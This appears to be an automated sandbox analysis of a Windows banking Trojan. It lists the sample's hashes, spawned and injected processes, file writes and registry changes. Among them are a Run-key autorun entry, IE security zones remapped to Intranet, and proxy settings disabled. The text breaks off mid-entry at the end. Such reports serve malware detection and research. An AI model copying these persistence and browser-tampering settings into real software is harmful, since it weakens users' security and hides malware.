MD5: 9d894c0dd2e1c87fa5eaa5a7e3d6bf70
SHA1: fc9a78a85f9860fd3cec41bf698a8e24a390cf52
SHA256: adfa0961bbf4447669267b0a751028bf35eeec64bed1bbf9f4f62442fd69ea32
SSDeep: 24576:xSo4wwTOOUb0K14k7D3wTBqSbi1BwNSQiOFaSLMyboQImF9C:t6TQ8eCMSAwVLlczmO
Size: 1655296 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: ACProtect141, UPolyXv05_v6, MicrosoftWindowsShortcutfile
Company: no certificate found
Created at: 2015-05-13 10:16:38
Analyzed on: WindowsXP SP3 32-bit

Summary:

Banker. Steals data relating to online banking systems, e-payment systems and credit card systems.

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

MiLai.exe:3500
MiLai.exe:2896
-2100_1_xcfx.exe:2888
Y73P2PSearcher_4.exe:612

The Trojan injects its code into the following process(es):

MiLai.exe:2972
%original file name%.exe:1628
Y73Server.exe:348
copy%original file name%.exe:1316

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process MiLai.exe:2972 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\u2[1].htm (108 bytes)
%System%\config\SYSTEM.LOG (4665 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\tab2[1].png (4113 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\tj[1].htm (8 bytes)
%Documents and Settings%\%current user%\AppData\LocalLow\MiLai\Fav9.dat (2 bytes)
%Documents and Settings%\%current user%\AppData\LocalLow\MiLai\Down\ETagFile.dat (420 bytes)
%Documents and Settings%\%current user%\AppData\LocalLow\MiLai\tab2.png (13 bytes)
%Documents and Settings%\%current user%\AppData\LocalLow\MiLai\tab3.png (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CJ5K6EGX\tj[1].htm (8 bytes)
%Documents and Settings%\%current user%\AppData\LocalLow\MiLai\btns.js (376 bytes)
%WinDir%\nvse.dat (86 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CJ5K6EGX\btns[1].js (376 bytes)
%System%\config (288 bytes)
%System%\config\system (2126 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\tab3[1].png (2730 bytes)
%Documents and Settings%\%current user%\AppData\Local\MiLai\dwonJsMobile.dat (28 bytes)
%Documents and Settings%\%current user%\AppData\LocalLow\MiLai\edi.dat (304241 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KTQRK5YN\qv[1].htm (2 bytes)
%System%\drivers\usbdevi.sys (1281 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KTQRK5YN\tj[1].htm (26 bytes)

The process %original file name%.exe:1628 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CJ5K6EGX\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
C:\copy%original file name%.exe (10815 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KTQRK5YN\desktop.ini (67 bytes)

The process -2100_1_xcfx.exe:2888 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsk3.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Ã×À´ÖúÊÖ\жÔØÃ×À´ÖúÊÖ.lnk (657 bytes)
%Program Files%\MiLai\adb.exe (24009 bytes)
%Program Files%\MiLai\x64\usbdevi.sys (10847 bytes)
%Program Files%\MiLai\MiLai.exe (55814 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsk3.tmp\MiLai.exe (55814 bytes)
%Program Files%\MiLai\AdbWinUsbApi.dll (2733 bytes)
%Program Files%\MiLai\Ã×À´ÖúÊÖ.lnk (584 bytes)
%Program Files%\MiLai\usbdevi.sys (8792 bytes)
%Program Files%\MiLai\mlzs.exe (24950 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Ã×À´ÖúÊÖ\Ã×À´ÖúÊÖ.lnk (650 bytes)
%Program Files%\MiLai\uninst.exe (426 bytes)
%Program Files%\MiLai\AdbWinApi.dll (3748 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsk3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsk3.tmp\MiLai.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsk3.tmp\System.dll (0 bytes)

The process Y73P2PSearcher_4.exe:612 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\setting.ini (32 bytes)
%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73Server.exe (9130 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73ÖÖ×ÓËÑË÷ÉñÆ÷.lnk (744 bytes)
%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\uninst.exe (745 bytes)
%Documents and Settings%\%current user%\Desktop\ÖÖ×ÓËÑË÷ÉñÆ÷.lnk (732 bytes)
%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73ÖÖ×ÓËÑË÷ÉñÆ÷.url (37 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\¹Ù·½Ö÷Ò³.url (37 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Uninstall.lnk (727 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nse1.tmp (0 bytes)

The process Y73Server.exe:348 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CJ5K6EGX\61.196.186[1].htm (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KTQRK5YN\stat[1].gif (43 bytes)
%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\setting.ini (50 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\base[1].css (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KTQRK5YN\do1[1].php (15399 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (212 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\core[1].php (752 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (388 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\stat[1].php (1177 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\search_btn[1].png (534 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\ico_here[1].gif (1 bytes)

The process copy%original file name%.exe:1316 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\core[1].php (751 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz[1].txt (163 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (203 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\will[1].htm (374 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CJ5K6EGX\z_stat[1].php (1177 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (1564 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@mmstat[1].txt (168 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (219 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\stat[1].gif (43 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Desktop\ÖÖ×ÓËÑË÷ÉñÆ÷.lnk (0 bytes)
%Program Files%\MiLai\uninst.exe (0 bytes)
%Program Files%\MiLai\Ã×À´ÖúÊÖ.lnk (0 bytes)

Registry activity

The process MiLai.exe:2972 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\MiLai]
"ctm" = "99 BE EB F3 9B 95 E4 40"
"Renwucan1" = "2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\MiLai]
"RwWtD" = "3"
"cid" = "-9019431321599"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\MiLai]
"stdd" = "7/L985uV5EBPA/KdopXkQA=="

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\MiLai]
"MiLai.exe" = "米来助手"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\MiLai]
"96198" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\MiLai]
"xk" = "4294967295"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\MiLai]
"insg" = "2"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A5 AB A0 F1 C7 0B 3D 7B CF 61 DF 58 55 8E 49 4A"

[HKLM\System\CurrentControlSet\Services\usbdevi\Instances\usbdevi Instance]
"Flags" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\System\CurrentControlSet\Services\usbdevi\Instances]
"DefaultInstance" = "usbdevi Instance"

[HKCU\Software\MiLai]
"BDATE" = "21 07 25 F4 9B 95 E4 40"

[HKLM\System\CurrentControlSet\Services\usbdevi\Instances\usbdevi Instance]
"Altitude" = "360054"

[HKCU\Software\MiLai]
"instd" = "42156"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"MiLai" = "%Program Files%\MiLai\MiLai.exe /A"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\MiLai]
"ci1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"

[HKCU\Software\MiLai]
"ci2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process MiLai.exe:3500 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7B 5C 22 72 99 D9 4B 18 A1 18 C1 C5 1B A8 A4 19"

The process MiLai.exe:2896 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "17 87 41 D3 5A 57 8D DC 78 EB 78 B6 FE CE 11 AA"

The process %original file name%.exe:1628 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\c:]
"copy%original file name%.exe" = "copy9d894c0dd2e1c87fa5eaa5a7e3d6bf70"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "29 6C 92 ED 32 06 A6 5A 5D 92 C0 07 6E 3C C1 EA"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process -2100_1_xcfx.exe:2888 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\MiLai]
"UpdateVer" = "65537"

[HKCU\Software\MiLai]
"ci1" = "4294965196"

[HKLM\SOFTWARE\MiLai]
"MiLaifiledir" = "%Program Files%\MiLai"

[HKCU\Software\MiLai]
"ci2" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\MiLai]
"MiLaifilename" = "MiLai.exe"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E5 70 70 3C 55 31 D2 8D 69 81 C5 09 68 E4 EC B6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

The process Y73P2PSearcher_4.exe:612 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Y73ÖÖ×ÓËÑË÷ÉñÆ÷]
"URLInfoAbout" = "WWW.Y73.COM"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Y73ÖÖ×ÓËÑË÷ÉñÆ÷]
"Publisher" = "ÉîÛÚÊÐÀÖ¼ª¿Æ¼¼ÓÐÏÞ¹«Ë¾"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Y73ÖÖ×ÓËÑË÷ÉñÆ÷]
"DisplayIcon" = "%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73Server.exe"
"SetupId" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Y73ÖÖ×ÓËÑË÷ÉñÆ÷]
"DisplayVersion" = "6.0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Y73ÖÖ×ÓËÑË÷ÉñÆ÷]
"DisplayName" = "Y73ÖÖ×ÓËÑË÷ÉñÆ÷ 6.0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Y73Server.exe]
"(Default)" = "%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73Server.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "11 F4 A9 ED 0E B9 48 0D 4C 0C B9 7E CC 1F C9 7A"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Y73ÖÖ×ÓËÑË÷ÉñÆ÷]
"UninstallString" = "%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\uninst.exe"

The process Y73Server.exe:348 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
